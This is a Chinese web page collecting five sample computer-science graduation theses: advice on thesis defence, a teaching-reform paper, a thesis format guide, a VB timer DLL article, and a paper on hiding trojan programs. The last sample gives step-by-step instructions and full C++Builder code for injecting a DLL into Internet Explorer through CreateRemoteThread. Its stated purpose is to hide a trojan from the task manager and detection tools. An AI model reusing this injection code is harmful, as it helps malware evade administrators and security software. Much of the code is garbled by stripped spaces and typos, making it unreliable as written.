前言:中文期刊網精心挑選了計算機畢業論文設計范文供你參考和學習,希望我們的參考范文能激發你的文章創作靈感,歡迎閱讀。
計算機畢業論文設計范文1
一、畢業選題。
不要選太偏的題,選太偏的題有可能導致可借鑒的資料太少,到最后落下個力不從心的結果。也許很多老師在選題的時候給的建議是不要選太常見的題目,其實我個人見解是這是個誤區,竟然學校安排了這些題目,理所當然就能被選擇。更重要的是常見的題目也能推陳出新,你可以用流行或者高級的語言來新解這個論題,這樣也能拿到理想的分數。選題另一個要注意的地方就是不要選太寬太泛的題目,一旦你的指導老師是個比較嚴格的人,要求你按要求辦事,你就會有點自食其果了。
二、掌握計算機基礎。
計算機專業基礎知識該掌握的還是得掌握,個人覺得數據結構可以忽略一下,畢竟《數據結構》是運用主要體現在程序的實際開發中,而其理論知識都是大套大套的,對于答辯提問實在不宜,所以答辯中不會過多的涉及數據結構的知識;而對于系統開發必不可少的《數據庫》知識,在這里我推薦重點掌握一下,數據庫中重點要注意的是查詢這塊,答辯的老師可能會針對你具體系統中的某個查詢要你寫出數據庫語句,比如當時我答辯的時候老師就問了我一個牽涉三表查詢的問題,還有主鍵在這個系統表中的串聯和功能。
三、掌握畢業設計開發使用的語言。
這里所謂的掌握并不是需要你真正的能用一門語言去開發一個系統什么的,是你得對這門語言熟悉,略知其一二,能知道它有什么優勢以及它在日常開發中的作用,并且掌握一些基礎的,如定義變量,基本語法結構,其大致的開發模式;有了這些東西在你畢業答辯的時候就多了一份勝算。據我了解,一般學校的答辯也不會很為難學生,其一是老師都是來自學校本院,提的問題也是相對基礎的,只要你答的不是牛頭不對馬嘴出太大的洋相,基本及格還是沒有問題的。其二是學校自身得保證他們的升學率,這個我就不多說了,大家都懂的。
四、畢業論文。
論文這塊比較的重要,我就多啰嗦幾句。1)論文格式。格式一定要嚴格按照學校的要求來,容不得半點馬虎,投機取巧那更是給自己挖坑。剛開始就能把格式這塊重視起來會給指導老師一個好的印象,哪怕你的程序不是非常的完善。2)論文目錄結構。計算機專業大多數專業(可能部分學校的信息管理專業沒有開設這門課程,不過肯定會開軟件項目管理和信息系統分析與設計)都必須學習軟件工程,一般論文的結構都是按照軟件工程所要求的在做。一般來說論文目錄結構主要有一下部分:緒論、需求分析、總體設計、詳細設計、軟件測試、總結致謝、參考文獻、附錄。這其中緒論這塊我就不詳細說了,需求分析這塊也沒有過多要說的,只是把各模塊實現的功能概括出來就OK了。總體設計中就牽涉到數據庫設計了,這個就得注意一下了,你得明白自己的系統使用的是面向結構還是面向對象,針對不同的開發模式需要繪制不同的圖,如面向對象就需要包圖、類圖、E-R圖之類的。詳細設計中配上系統運行的截圖,然后附帶實現方式,不要放過多的代碼,不然代碼過多會影響論文的排版和整體美觀。調試分析這塊很多人會忽略這塊,其實這塊會無形中給你加分;因為軟件測試在實際的項目開發中有著舉足輕重的作用。開發界有這樣一句話:代碼是調出來的,這足可想見其重要性,因而在論文中配上測試,會體現出你的專業性和學習認真的態度。論文后面的感言就不多說了,都是些新的以及對老師的感謝,懶得自己原創的話可以去搜索引擎網站搞拿來主義。畢竟這塊在論文中不太被重視。最后強調下參考文獻還得屬于開發語言的家族,免得弄出不必要的笑話。當年我答辯的時候老師都是挺重視這塊的,可能是這塊容易出問題又或者這塊能體現出word排版的水平
五、系統。
系統這塊,根據學校的不同,要求也不同。可以事先跟學校畢業的師哥師姐先了解下。要求嚴格就老老實實做。據我了解,一般的學校還是只要能實現主要的模塊就行了。比如人事管理系統,員工信息、出勤、調崗就是重點,而打印報表這塊就沒做太多要求。而對于類似ASP中的字符過濾,java中的拋出異常稍微松懈下也無傷大雅。畢竟畢業設計是由沒有實戰經驗的一個人或者兩個人開發學生完成,不妥之處在所難免。
計算機畢業論文設計范文2
【關鍵詞】畢業設計; 教學改革
畢業設計是所有工科人才培養方案中規定的重要實踐性教學環節,高等職業技術學院也不例外。通過該環節的教學使學生能夠綜合運用所學理論知識分析、解決實際工程問題,初步掌握設計的一般流程和方法,在設計態度、工程思想、實踐能力等方面得到系統的鍛煉和提高,為步入工作崗位打下良好的基礎。畢業設計的質量在一定程度上反映了學生的專業知識水平、工程素質以及綜合運用各種知識的能力;也在一定程度上體現了指導教師的治學態度、學術水平和指導設計工作的能力;同時也從一個側面表明了學校的教學質量和管理水平[1].尤其對于工科學生而言,畢業設計是他們走上工作崗位前的一次預演,應該引起足夠的重視
1.當前高等職業技術學院畢業設計(論文)存在的問題
1.1 學生思想重視不夠, 投入精力不足
由于目前就業形勢嚴峻, 一部分學生忙于參加各種各樣的招聘會和公司面試, 在畢業設計環節上投入精力甚微。畢業設計的時間與實習、頂崗或長升本(接本)時間重合,在兩者不可兼顧的情況下, 多數學生都選擇了工作或接本為主, 而不是做畢業設計。
1.2 選題不恰當
選題恰當是做好畢業設計( 論文) 的前提, 我院制訂的"無錫商業職業技術學院物聯網技術學院??粕厴I設計( 論文) 工作的若干規定"規定了選題的基本原則。
盡管如此, 但是選題不當的情況仍然時有發生, 表現在:(1) 論文題目大多由指導教師給定,學生并不感興趣, 因此更談不上對題目的意義有比較深入的思考; (2) 論文題目與學生的發展方向不一致。例如有的學生是軟件方向的, 但指導教師指定的題目卻是硬件方向的等等, 對于所用到的一些技術學生知之甚少; (3) 論文選題陳舊,圖書管理系統題、學生管理系統等類似的題已經做了多少年了, 每年都在做, 又沒有發展, 毫無創新性可言; (4) 選題脫離社會實踐, 所使用的技術屬于基本已經淘汰的技術, 對學生綜合能力培養的幫助不大;
1.3 指導教師缺乏經驗, 指導強度大
由于計算機專業發展比較晚, 具有豐富項目實踐經驗的老教師十分稀缺。而隨著近幾年計算機專業擴招, 高校引入了大批的年輕的畢業生充實教師隊伍, 這些年輕教師本身充滿活力, 敢想敢干, 不足之處在于他們多是畢業后直接從事教學工作, 實際的工程項目實踐經驗不足, 而計算機專業本身是一個實踐性要求很強的專業, 沒有這些實踐體會, 就很難理解軟件開發過程、軟件技術如何應用到生產這些問題, 從而影響了畢業設計的質量;
1.4 畢業設計過程缺乏監督
一般按慣例, 指導教師與學生之間每星期至少應見面兩次, 了解學生畢業設計的進展情況。然而由于受到學生找工作、升本(接本)等特殊情況的影響, 很難堅持下來。學生缺乏主動性, 不愿意主動找指導教師交流, 因此使得畢業設計的過程缺乏監督。
1.5 論文抄襲現象時有發生
我校對論文抄襲現象處置甚嚴, 這也是對學生實事求是的科學態度和嚴肅認真的工作作風的培養, 然而, 部分學生報著僥幸和偷懶心理, 往往將網絡上檢索到的多篇論文稍加修改, 重新組織加工, 從而就變成了自己的畢業論文。有的學生甚至一字不改, 原文照搬。
總的說來,目前有的高等職業技術院校的畢業設計(論文)工作中的主要問題是少了一點“規矩”,即使有規矩也是“老規矩”。對隨著教育和教學改革的深化而出現的新情況遇到的新問題,缺乏深入的研究和及時的改革。
2.畢業設計(論文)的定位
計算機應用專業是一門綜合性非常高的學科,該專業軟件、硬件及系統的開發、應用、維護等工程領域,是一個縱向較深,橫向較廣的復合性、綜合性專業。畢業設計(論文)是學生綜合運用所學知識,分析、解決實際問題,培養獨立思考、獨立工作的能力,接受高等職業技術人員所必需能力的基本訓練的重要教學環節。畢業設計(論文)首先具有教學與教育功能,是實現專業培養目標,對學生進行設計科學教育,培養探求真理的科學精神,強化工程意識,進行工程基本訓練,提高學生科學研究能力、工程實踐能力、創新能力和經濟意識的重要階段;是培養學生優良思想品質,進行綜合素質教育的全面檢驗。其次,畢業設計(論文)成果具有直接或間接為經濟建設服務,為生產、科研服務的社會功能。隨著教育和教學改革的深化,對人才培養模式的改革,專業的拓寬改造,對人才培養提出了新的更高要求,我們更應高度重視畢業設計(論文)的基本要求和質量評價,使學生更清楚地知道怎樣主動做好畢業設計(論文),使指導教師更清楚地知道如何對學生進行指導,使管理人員知道怎樣抓住實質問題管理到位,以保證畢業設計(論文)的質量。
3.有關應對措施
3.1 加強學生思想教育
如何提高高校畢業設計的質量, 已成為一個日益引起教育界關注的話題。筆者陋見, 根本措施應當是加強學生教育, 使學生引起重視。其實多數高校和指導教師對于加強學生思想教育的重要性都深有體會, 但具體實施起來總覺得效果不如想象中好, 關鍵是在于“循循善誘”幾個字。筆者今年指導的幾個學生中, 也有個別學生對畢業設計重視不夠,設計時敷衍了事, 做好畢業設計,是為了對自己四年學習劃上一個圓滿的句號, 也是對個人責任心的一次考驗, 從而端正了態度, 主動性大大提高。
3.2 在畢業設計之前做專題講座
由于學生都是第一次參加畢業設計, 所以對如何進入狀態, 開始畢業設計工作, 如何查閱資料, 如何分階段完成, 如何撰寫開題報告和畢業論文, 如何對畢業論文的章節規劃、內容安排和格式規范等知識缺乏認識, 因此在畢業設計之前有必要做專門針對畢業設計如何開展的專題講座。
3.3 選題是關鍵, 鼓勵學生到企業進行畢業設計
選題是整個畢業設計(論文)的核心, 正確、恰當地選題是做好畢業設計(論文)的前提, 應首先把好選題關。在我系首先原則上把一人一題作為選題工作的重要原則少數課題比較大時, 可以分成幾個小課題, 但必須保證每個學生都是單獨完成自己的課題,防止學生互相“幫忙”的發生。
畢業設計(論文)題目需經過教研室討論、教研室主任審核、系主任批準。對于一些過易、任務過輕或所使用的是一些過時技術的題, 堅決要求進行重選。通過這些做法,保證了畢業設計(論文)題目的質量, 學生也反映良好。
開展學生畢業設計的一種新做法, 是讓學生到就業單位去做畢業設計, 利用企業的經費、場地和技術力量, 完成企業需要的技術課題, 實行校企聯合指導方式。一方面, 可培養學生工程設計和科學研究能力及團隊合作精神, 使學生了解和掌握實際工程設計和科研的全過程;另一方面,工作單位的實際課題, 任務明確, 要求具體, 時間性強, 能激發學生的工作熱情和主動性, 增強學生的事業心和責任感。同時, 便于用人單位和學生較早互相了解, 有利于學生就業后盡早地進人工作角色。我系目前對于這種新的指導方式正進行嘗試和摸索,從目前的效果來看,很受學生和用人單位的歡迎。[2]
3.4 過程管理很重要
開題報告完成以后, 就進入了漫長的實際設計過程。要增強對學生的監督和督促機制, 防止學生偷懶。其一,要增強指導教師的責任感;其二,可引入現在一些軟件公司常用的做法,要求學生寫周報,讓學生每周對自己畢業設計的工作進展, 取得的成果或碰到的困難做一次記錄。這樣既避免了學生臨時報佛腳,不做設計只寫論文的情況發生,又使學生的整個設計過程都有案可查, 增加了對畢業設計評分的合理性和公正性。[3]
3.5 如何杜絕論文抄襲現象
論文抄襲是學術界十分不齒的行為,應當給學生灌輸這種思想。學生大多都是第一次撰寫學術論文,一旦養成了抄襲的壞毛病,則日后對己對人都貽害無窮。一方面,應當將“對畢業論文抄襲進行嚴厲懲罰”寫入到畢業論文的要求規范當中去,一旦發現,絕不姑息;另一方面,指導教師可通過耐心教導,擊潰學生的僥幸心理,讓學生明白,抄襲的論文是無所遁形的。
3.6 改善評判學生畢業設計質量
學生的畢業設計質量由兩部分來衡量:
一是設計成果的質量, 包括軟件的功能、所采用的開發技術、人機界面等部分組成, 可通過現場演示和答辯來評分;
二是畢業論文質量,根據課題完成情況和答辯情況由指導教師、評閱教師和答辯小組分別按畢業設計(論文)評閱、評審評分標準采用“結構分”進行評定,其中指導教師成績占30%,評閱教師成績占30%,答辯小組成績占 40%
(1)指導教師評定成績
根據指導教師評審評分標準從學生工作量、工作態度、技術方案、分析與解決問題的能力、設計(論文)質量、創新等方面進行評定。
(2)評閱教師評閱成績
根據省教育廳的有關文件精神,要求每位學生的畢業設計(論文)必須由兩位熟悉相應課題內容的教師(可以是外聘教師)進行評閱,評閱評分標準從畢業設計(論文)內容、學生工作水平以及論文撰寫規范共同確定,每位評閱教師必須單獨填寫評閱表。
(3)答辯
成績主要由答辯小組根據答辯評審評分標準從學生的報告內容、報告過程、回答問題以及學生在畢業設計 (論文) 中的創新等方面進行評定。畢業設計(論文)成績按優秀(>85分)、良好(75分一84分)、中等(66 分一74分)、及格(60分一65分)、不及格(60分以下)五級分評定,其中優秀比例控制在 20%以內。[4]
總之, 高等職業院校計算機專業畢業設計工作受到了擴招、學生就業、升本(或接本)等諸多因素的影響,要做好這項工作,根本在于思想重視,重點在于制度保證,只有學校、教師、學生都加以重視, 做好各項制度保證, 才能進一步提高畢業設計的效果,提高高職院校的畢業設計管理水平。
參考文獻:
[1] 張艷 一種工科學生畢業設計質量的評價方法[J] 武漢工程大學學報,2010(9):94~97
[2]廖志凌等.高校本科畢業設計中存在的問題及對策[J].江蘇大學學報(高教研究版), 2004, 4(2), 82- 85.
計算機畢業論文設計范文3
我們這篇文章分部分進行講解:
一、本科學生畢業論文的目的和內容
二、管理信息系統開發的主要步驟
三、計算機專業所選開發工具和注意事項
四、計算機畢業論文撰寫格式
五、畢業論文中正文的寫法和注意事項
六、結束語的寫法
七、參考文獻列出畢業論文設計中主要參考書籍
八、附錄的寫法
九、論文評分的能用標準
一、本科學生畢業論文的目的和內容
本科學生在畢業之前必須做畢業論文,其目的是通過畢業論文,讓學生獨立開發一個具體的計算機應用項目,系統地進行分析總結和運用學過的書本知識,以鞏固本科階段所學的專業理論知識,并給予一個理論聯系實際的機會。
為了便于實施和管理,規定網絡學院計算機相關專業本科學生畢業論文主要以開發一個管理信息系統為畢業實踐的課題,每個畢業生通過獨立開發一個具體的管理信息系統,掌握開發一個比整完整的管理信息系統的主要步驟,并從中獲得一定的實際經驗。
二、管理信息系統開發的主要步驟
管理信息系統開發的主要步驟及各步驟的基本內容如下:
1、系統分析
主要工作內容有以下幾項:確定系統目標,系統可行性分析
2、系統調查
系統的組織結構、職能結構和業務流程分析。其中系統的組織結構圖應畫成樹狀結構。
系統業務流程分析、業務流程圖
3、數據流程分析
數據流程圖(系統關聯圖、頂層圖、一層數據流圖、二層數據流圖)、數據詞典、代碼設計
4、管理信息系統的功能設計
系統的功能結構圖,每個功能模塊的主要工作內容、輸入輸出要求等。
系統控制結構圖
5、數據庫設計
概念模型設計:實體、實體間的聯系、E-R圖
關系模式設計:E—R圖->關系模式的轉換規則
關系模式
數據庫表設計:數據庫表結構
6、系統物理配置方案
7、人機界面設計
8、模塊處理概述
9、系統測試和調試:測試計劃、測試用例、測試結果
三、開發工具和注意事項
1、開發工具
開發工具可由學生任選。如Delphi、FoxPro、VB、Access等,這些工具的使用全由學生自學。
2、注意事項
(1)項目開發步驟的完整性(系統需求分析、概念設計、物理設計、系統環境和配置、系統實施以及系統測試和調試等)
(2)每個開發步驟所得結果的正確性(業務流程圖、數據流程圖、數據詞典、HIPO圖、E-R圖、關系模式、人機界面設計及模塊處理等的詳細分析和說明)
(3)論文整體結構的完整性(前言、各個具體步驟的敘述和分析、結語、參考文獻和有關附錄)
(4)提供軟件系統的可執行盤片及操作說明書
(5)參考資料(列出必要的參考資料)
四、畢業論文撰寫格式
注意:1.每個步驟都要有文字說明和論述2.各個步驟必須是有機的組合,不可以支離破碎不成一體。
一、封面
二、摘要用約200-400字簡要介紹一下論文中闡述的主要內容及創新點
三、主題詞用一、二個詞點明論文所述內容的性質。(二和三要在同一頁面上)
四、目錄一般采用三級目錄結構。例如第三章系統設計3.1系統概念結構3.1.1概念模型
五、正文
第一章前言
簡要介紹:組織機構概況、項目開發背景、信息系統目標、開發方法概述、項目開發計劃等。
第二章系統需求分析
本章應包含:
(1)現行業務系統描述
包括業務流程分析,給出業務流程圖。
具體要求:業務流程圖必須有文字說明,圖要完整、一定要有業務傳遞的流程。
(2)現行系統存在的主要問題分析
指出薄弱環節、指出要解決的問題的實質,確保新系統更好,指出關鍵的成功因素。
(3)提出可能的解決方案
(4)可行性分析和抉擇
包括技術可行性、經濟可行性、營運可行性分析和抉擇。
第三章新系統邏輯方案
針對用戶需求,全面、系統、準確、詳細地描述新系統應具備的功能。
(1)數據流程分析
最主要的是給出數據流程圖,要求滿足以下條件:
A.數據流程圖必須包括系統關聯圖、系統頂層圖、第一層分解圖和第二層分解圖組成。B.系統關聯圖確定了從外部項到系統的數據流和從系統向外部項的數據流,這些數據流在其它層次的數據流中不允許減少,也不允許增加。各層次內部的數據流不受關聯圖的限制。C.數據流應有名字。D.外部項和數據存儲之間不得出現未經加工的數據流。E.數據流程圖的分解中,必須保持每個分層同其上層加工中的外部項和輸入輸出流相一致。F.各加工之間一般不應出現未經數據存儲的數據流。G.數據存儲之間不得出現未經加工的數據流。H.數據存儲可以分解。I.若有查詢處理,應在數據流程圖中表達。J.統計和打印報表不在數據流圖中表達。
(2)數據詞典描述
可采用圖表格式或較緊湊的記錄格式描述A、若采用圖表格式,可只寫出數據流、數據元素、加工、數據存儲和外部項各一個表。B、若采用緊湊的記錄格式,則應列出全部成分。如數據元素:編號名稱存在于數據結構備注E1入庫數據F1/F3/F11/F15入庫單號日期貨號數量E2出庫數據F1/F3/F11/F15出庫單號日期貨號數量C、據流程圖中系統頂層圖的數據加工都必須詳盡寫出。
(3)基本加工小說明
可采用結構化語言、數學公式等描述各個基本加工。
第四章系統總體結構設計
(1)軟件模塊結構設計A、系統軟件模塊結構圖,并由此導出功能分解圖及層次式菜單結構。B、系統的模塊結構應與數據流程圖的頂層圖的加工一致。
(2)數據庫設計A、應按下列次序闡述各個元素:實體、實體的屬性、實體間聯系、E-R圖、轉換規則、關系模式。B、在介紹實體的屬性時,不應包括聯系屬性,聯系屬性直至關系模式中才出現。C、數據流程圖中的每個數據存儲可隱含于E-R圖中的多個實體。D、E-R圖中的實體要與數據流程圖中的數據存儲相對應。每個實體要指出實體的標識碼(主碼)。對每個實體或聯系應列出其應有的屬性(用列舉的方法)。E、E-R圖中至少要有一個多對多的聯系。F、必須嚴格按照轉換規則從E-R圖產生數據關系模式集,需要時作必要的優化,并說明理由。G、對于一對一的聯系,只應把任一個實體的主碼放在另一個實體中作為外碼。H、一對多聯系也可以產生新的關系模式,如要這樣做,必須說明理由。I、多對多聯系,或三元聯系必須產生新的關系模式。J、關系模式的個數和名字要與E-R圖中的實體和聯系相一致。K.、每個關系模式中要用下橫線標出主碼,后隨的符號“#”標出外碼。L、若有代碼對照表可在最后列出,需另加說明。
(3)計算機系統配置方案的選擇和設計
給出硬件配置,系統軟件配置,網絡通信系統配置(可選)等內容。
(4)系統總體安全性、可靠性方案與措施。
第五章系統詳細設計
(1)代碼設計基本數據項的代碼格式。
(2)人機界面設計給出人機界面視圖(輸入輸出接口,屏幕格式設計等)
(3)模塊處理過程根據軟件環境做不同處理??刹捎媚_本、程序流程圖、結構化的PDL語言等。
第六章實施概況
(1)實施環境和工具的比較選擇
(2)編程環境、工具、實現與數據準備概況
(3)系統測試概況主要包括測試計劃、測試用例、測試記錄。
(4)系統轉換方案及實現概況
(5)系統運行與維護概況
六、結束語
(1)系統特色、局限與展望
(2)實施中遇到的挫折、創新、體會與致謝
七、參考文獻列出畢業論文設計中主要參考書籍
序號、書名或文章名、作者名、出版社或雜志名、出版日期或雜志期號。
八、附錄
(1)列出部分有一定代表性的程序代碼段
(2)操作說明書
九、論文評分標準
1、A等
系統正確無誤,系統功能完善,設計步驟完整正確,實用性強,有一定的創新性,論文結構嚴謹,表述流暢。
2、B等
系統基本正確,系統功能基本完善,設計步驟基本完整正確,有一定的實用性,論文結構良好,表述基本流暢。
3、C等
系統有少量錯誤,系統功能不夠完善,設計步驟欠完整,基本上沒有實用性,論文結構一般,表述基本清楚。
4、不及格
計算機畢業論文設計范文4
摘要:本文介紹在vb程序中用timer控件創建一個超長時間的計時器對象,將其編譯成activexdll部件,利用代碼的可重用性,在其它應用程序中調用。
關鍵詞:vb計時器對象
vb系統中提供了固有計時器timer控件,通過給計時器控件的interval屬性設置不同的數值,就可以控制計時器運行的時間間隔,但該屬性是一個雙字節的整型變量,最大值只能設置為65535,即只有65535毫秒,約一分鐘多一點,在需要長時間計時時,該控件就無能為力了。本文給出用timer控件創建一個超長時間的計時器對象,并將其編譯成activexdll部件,供其它應用程序調用,可實現最大限度地利用代碼的可重用性。下面給出這個超長計時器對象的編程設計過程,供讀者參考選用。
1.編寫程序
啟動vb,新建一個activexdll工程,將工程命名為newtimer,將類模塊名class1改名為longtimer。在工程中添加一個窗體form1,在窗體上加入一個timer計時器控件timer1。打開longtimer類模塊,加入如下程序代碼:
optionexplicit
publiceventtick()''''聲明事件
privatenzasinteger
privatecsasinteger
privatem_formasform1
privatewitheventsm_timerastimer''''聲明對象類變量
''''返回enable屬性值
publicpropertygetenabled()asboolean
enabled=m_timer.enabled
endproperty
''''設置enable屬性值
publicpropertyletenabled(byvalvnewvalueasboolean)
m_timer.enabled=vnewvalue
endproperty
''''返回interval屬性值
publicpropertygetinterval()aslong
interval=m_timer.interval
endproperty
''''設置interval屬性值
publicpropertyletinterval(byvalvnewvalueaslong)
cs=0
nz=vnewvalue\65536+1
m_timer.interval=vnewvalue\nz
endproperty
''''類初始化事件
privatesubclass_initialize()
setm_form=newform1
loadm_form
setm_timer=m_form.timer1
endsub
''''類終止事件
privatesubclass_terminate()
unloadm_form
setm_timer=nothing
endsub
''''產生tick事件
privatesubm_timer_timer()
cs=cs+1
ifcs>=nzthen
raiseeventtick
cs=0
endif
endsub
窗體form1只用來作計時器timer1的載體,不用于顯示。
2.測試newtimer.dll
對activexdll部件進行測試,與標準的exe程序一樣,可分為單步運行或全運行。在寫完所有程序代碼后,建議用戶先用ctrl+f5進行全編譯執行,發現檢查newtimer程序的語法錯誤。也可建立一個測試工程與newtimer鏈接進行測試,針對由newtimer類模塊提供的每個屬性和事件,添加測試代碼來測試它們的屬性和方法。按f8,進入單步運行狀態,逐個語句察看對newtimer類模塊的調用情況。
3.編譯newtimer.dll
完成測試,排除所有錯誤后,從“文件(f)”菜單中選擇“生成newtimer.dll(k)”命令,編譯生成newtimer.dll文件。編譯成功后newtimer.dll文件將自動注冊到windows注冊表中,
4.引用newtimer.dll
引用activexdll部件同引用其他對象一樣,從“工程(p)”菜單中選擇“引用(n)”命令,打開引用窗口,從引用列表中選中newtimer對象。如果是第一次引用newtimer,則在引用窗體上單擊“游覽(b)”命令按鈕,將newtimer.dll文件添加到可引用列表框中方可使用。
5.調用newtimer.dll
在應用程序中加入下述程序代碼,實現參newtimer.dll的調用:
optionexplicit
dimwitheventslongtimer1aslongtimer
privatesublongtimer1_tick()
print"時間到,此處添加處理程序"
endsub
privatesubcommand1_click()
longtimer1.interval=12000‘兩分鐘
longtimer1.enabled=true
endsub
privatesubform_load()
setlongtimer1=newlongtimer
endsub
參考文獻
計算機畢業論文設計范文5
摘要進程的隱藏一直是木馬程序設計者不斷探求的重要技術,本文采用遠程線程技術,通過動態鏈接庫方法,較好地解決了這一問題,通過遠程線程將木馬作為線程隱藏在其他進程中,從而達到隱藏的目的。
關鍵字進程線程木馬動態鏈接庫
木馬程序(也稱后門程序)是能被控制的運行在遠程主機上的程序,由于木馬程序是運行在遠程主機上,所以進程的隱藏無疑是大家關心的焦點。
本文分析了WindowsNT/2000系統下進程隱藏的基本技術和方法,并著重討論運用線程嫁接技術如何實現WindowsNT/2000系統中進程的隱藏。
1基本原理
在WIN95/98中,只需要將進程注冊為系統服務就能夠從進程查看器中隱形,可是這一切在WindowsNT/2000中卻完全不同,無論木馬從端口、啟動文件上如何巧妙地隱藏自己,始終都不能躲過WindowsNT/2000的任務管理器,WindowsNT/2000的任務管理器均能輕松顯示出木馬進程,難道在WindowsNT/2000下木馬真的再也無法隱藏自己的進程了?我們知道,在WINDOWS系統下,可執行文件主要是Exe和Com文件,這兩種文件在運行時都有一個共同點,會生成一個獨立的進程,尋找特定進程是我們發現木馬的方法之一,隨著入侵檢測軟件的不斷發展,關聯進程和SOCKET已經成為流行的技術,假設一個木馬在運行時被檢測軟件同時查出端口和進程,我們基本上認為這個木馬的隱藏已經完全失敗。在WindowsNT/2000下正常情況用戶進程對于系統管理員來說都是可見的,要想做到木馬的進程隱藏,有兩個辦法,第一是讓系統管理員看不見你的進程;第二是不使用進程。本文以第二種方法為例加以討論,其基本原理是將自已的木馬以線程方式嫁接于遠程進程之中,遠程進程則是合法的用戶程序,這樣用戶管理者看到的只是合法進程,而無法發現木馬線程的存在,從而達到隱藏的目的。
2實現方法
為了弄清實現方法,我們必須首先了解Windows系統的另一種"可執行文件"----DLL,DLL是DynamicLinkLibrary(動態鏈接庫)的縮寫,DLL文件是Windows的基礎,因為所有的API函數都是在DLL中實現的。DLL文件沒有程序邏輯,是由多個功能函數構成,它并不能獨立運行,一般都是由進程加載并調用的。因為DLL文件不能獨立運行,所以在進程列表中并不會出現DLL,假設我們編寫了一個木馬DLL,并且通過別的進程來運行它,那么無論是入侵檢測軟件還是進程列表中,都只會出現那個進程而并不會出現木馬DLL,如果那個進程是可信進程,(例如瀏覽器程序IEXPLORE.EXE,沒人會懷疑它是木馬吧?)那么我們編寫的DLL作為那個進程的一部分,也將成為被信賴的一員,也就達到了隱藏的目的。
運行DLL方法有多種,但其中最隱蔽的方法是采用動態嵌入技術,動態嵌入技術指的是將自己的代碼嵌入正在運行的進程中的技術。理論上來說,在Windows中的每個進程都有自己的私有內存空間,別的進程是不允許對這個私有空間進行操作的,但是實際上,我們仍然可以利用種種方法進入并操作進程的私有內存。動態嵌入技術有多種如:窗口Hook、掛接API、遠程線程等,這里介紹一下遠程線程技術,它只要有基本的進線程和動態鏈接庫的知識就可以很輕松地完成動態嵌入。
遠程線程技術指的是通過在另一個進程中創建遠程線程的方法進入那個進程的內存地址空間。我們知道,在進程中,可以通過CreateThread函數創建線程,被創建的新線程與主線程(就是進程啟動時被同時自動建立的那個線程)共享地址空間以及其他的資源。但是很少有人知道,通過CreateRemoteThread也同樣可以在另一個進程內創建新線程,被創建的遠程線程同樣可以共享遠程進程(是遠程進程)的地址空間,所以,實際上,我們通過一個遠程線程,進入了遠程進程的內存地址空間,也就擁有了那個遠程進程相當的權限。
3實施步驟
1)用Process32Next()函數找到宿主進程,獲取宿主進程ID,并用
OpenProcess()函數打開宿主進程。
2)用VirtualAllocEx()函數分配遠程進程地址空間中的
內存。
3)用WriteProcessMemory()函數將待隱藏的DLL的路徑名。
4)拷貝到步驟二已經分配的內存中。
5)用GetProcAddress()函數獲取LoadlibraryA()函數的實地址(在kernel32.dll中)。
6)用CreateRemoteThread()函數在遠程進程中創建一個線程。
7)它調用正確的LoadlibraryA()函數。
8)為它傳遞步驟二中分配的內存地址。
4具體實例
下面是在C++Builder4.0環境下編寫的運用遠程線程技術隱藏木馬的程序代碼:
#include<vcl.h>
#include<windows.h>
#include<stdio.h>
#include<tlhelp32.h>//該頭文件包涵了進程操作的API函數
#pragmahdrstop
#include"Unit1.h"
#pragmapackage(smart_init)
#pragmaresource"*.dfm"
InsistingpszLibFileName;//存放待隱藏的DLL文件名
HANDLEhProcessSnap=NULL;//進程快照句柄
HANDLEhRemoteProcess;//遠程進程句柄
LPVOIDpszLibFileRemote;//遠程進程中分配給文件名的空間
HMODULEphmd;//存放kernel32.dll句柄
HANDLEhRemoteThread1=NULL;//存放遠程線程句柄
TForm1*Form1;
//---------------------------------------------------------
__fastcallTForm1::TForm1(TComponent*Owner)
:TForm(Owner)
{
}
//---------------------------------------------------------
void__fastcallTForm1::Button1Click(TObject*Sender
{
PROCESSENTRY32pe32={0};
DWORDdwRemoteProcessId;
hProcessSnap=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
//打開進程快照
if(hProcessSnap==(HANDLE)-1)
{
MessageBox(NULL,"CreateToolhelp32Snapshotfailed","",MB_OK);
exit(0);
}//失敗返回
pe32.dwSize=sizeof(PROCESSENTRY32);
if(Process32Fi
rst(hProcessSnap,&pe32))//獲取第一個進程
{
do{
AnsiStringte;
te=pe32.szExeFile;
if(te.Pos("iexplore.exe")||te.Pos("IEXPLORE.EXE"))
//找到宿主進程,以IEXPLORE.EXE為例
{dwRemoteProcessId=pe32.th32ProcessID;
break;
}
}
while(Process32Next(hProcessSnap,&pe32));//獲取下一個進程
}
else
{
MessageBox(NULL,"取第一個進程失敗","",MB_OK);
exit(0);
}
hRemoteProcess=OpenProcess(PROCESS_CREATE_THREAD|PROCESS_VM
_OPERATION|PROCESS_VM_WRITE,FALSE,dwRemoteProcessId);
//打開遠程進程
pszLibFileName=GetCurrentDir()+"\\"+"hide.dll";
//假設hide.dll是待隱藏的進程
intcb=(1+pszLibFileName.Length())*sizeof(char);//計算dll文件名長度
pszLibFileRemote=(PWSTR)VirtualAllocEx(hRemoteProcess,NULL,cb,
MEM_COMMIT,PAGE_READWRITE);
//申請存放文件名的空間
BOOLReturnCode=WriteProcessMemory(hRemoteProcess,
pszLibFileRemote,(LPVOID)pszLibFileName.c_str(),cb,NULL);
//把dll文件名寫入申請的空間
phmd=GetModuleHandle("kernel32.dll");
LPTHREAD_START_ROUTINEfnStartAddr=(LPTHREAD_START_ROUTINE)
GetProcAddress(phmd,"LoadLibraryA");
//獲取動態鏈接庫函數地址
hRemoteThread1=CreateRemoteThread(hRemoteProcess,NULL,0,
pfnStartAddr,pszLibFileRemote,0,NULL);
//創建遠程線
if(hRemoteThread1!=NULL)
CloseHandle(hRemoteThread1);//關閉遠程線程
if(hProcessSnap!=NULL)
CloseHandle(hProcessSnap);//關閉進程快照
}
該程序編譯后命名為RmtDll.exe,運行時點擊界面上的按鈕即可。
至此,遠程嵌入順利完成,為了試驗我們的hide.dll是不是已經正常地在遠程線程運行,我同樣在C++Builder4.0環境下編寫并編譯了下面的hide.dll作為測試:
nclude<vcl.h>
#include<windows.h>
#pragmahdrstop
#pragmaargsused
BOOLWINAPIDllEntryPoint(HINSTANCEhinst,unsignedlongreason,void*lpReserved)
{
charszProcessId[64];
switch(reason)
{
caseDLL_PROCESS_ATTACH:
{//獲取當前進程ID
itoa(GetCurrentProcessId(),szProcessId,10);
MessageBox(NULL,szProcessId,"RemoteDLL",MB_OK);
break;
}
default:
}
returnTRUE;
}
當使用RmtDll.exe程序將這個hide.dll嵌入IEXPLORE.EXE進程后假設PID=1208),該測試DLL彈出了1208字樣的確認框,同時使用PS工具
也能看到:
ProcessID:1208
